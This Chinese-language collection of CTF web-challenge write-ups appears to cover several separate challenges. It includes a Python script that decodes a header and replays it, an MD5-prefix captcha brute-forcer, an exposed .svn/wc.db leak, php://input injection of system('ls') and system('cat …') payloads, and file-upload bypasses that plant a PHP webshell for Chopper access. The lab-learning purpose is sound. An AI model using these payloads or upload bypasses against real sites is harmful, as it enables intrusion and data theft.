打开题目看到如图
抓包看看能不能的到什么信息,抓包如下
看到了flag相关信息,base64解密下,但是没什么头绪,想着题目是upload,肯定和文件上传有关系。
然后根据flag信息和题目提示可以构造然后发包。
写脚本;
#encode:utf-8
#auther:__cbatl10__
import requests
import base64
url = 'http://cfad281822c94fb58bc3e3320d6b5bd49107b147ce514e98.changame.ichunqiu.com/'
s = requests.session()
res = s.get(url)
#
a = res.headers["flag"]
b = base64.b64decode(a)
c = str(b).split(':')
data = base64.b64decode(c[1])
payload = {"ichunqiu":data}
d = s.post(url, data = payload)
print d.text
得到结果
Path:3712901a08bb58557943ca31f3487b7d
然后放在url后面得到一个登录界面
发现跳转到了action.php?action=login页面,对于用户名,发现是./svn/wc.db 泄露
得到用户名
MD5后得到 8638d5263ab0d3face193725c23ce095
密码 123
看登录页面的验证码MD5后六位已经给出,记得之前写过类似的脚本,改一下拿来用
#encode:utf-8
#auther:__cbatl10__
import hashlib
def md5(s):
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
def main(s):
for i in range(1,99999999):
if md5(i)[0:6] == str(s):
print(i)
exit(0)
if __name__ == '__main__':
main("f7ecf9")
得到验证码 18786533
登录看到弹框有一个php文件
是一个文件上传的页面,然后上传一个图片,改下后缀为pht,但是类型务必为image/jpeg 发包得到flag
趁着网课老师不注意,偷偷来刷到题
明确文件包含
代码审计
文件读取
拿到题目,打开链接
看到了几行代码还有显示了phpinfo.php的文件
发现了REQUESTS的提交方式,对于REQUESTS传参,基本类似GET。所以这里不再过多解释
https://www.cnblogs.com/mmzz3322/p/10983194.html
想到了php://input
通过构造payload 并提交POST数据,来查询文件列表。
抓包!
如图所示,构造post数据
<?php system('ls'); ?>
发包的到三个文件,再次构造post数据,查询文件内容
post数据
<?php system('cat dle345aae.php'); ?>
得到flag!!!
文件上传类型题目
上传php一句话马,绕过文件类型。
菜刀连接,发现config.php文件
连接数据库,得到flag!
打开题目,是一个文件上传的页面
上传一句话木马文件,绕过文件类型
将text/pain 改为image/jpeg
成功上传!
菜刀连接
发现config.php文件内容
然后编辑配置,在进行连接,配置如图
成功连接后,再右击查看数据库管理
看到两个数据库,点击查看ctf
得到flag!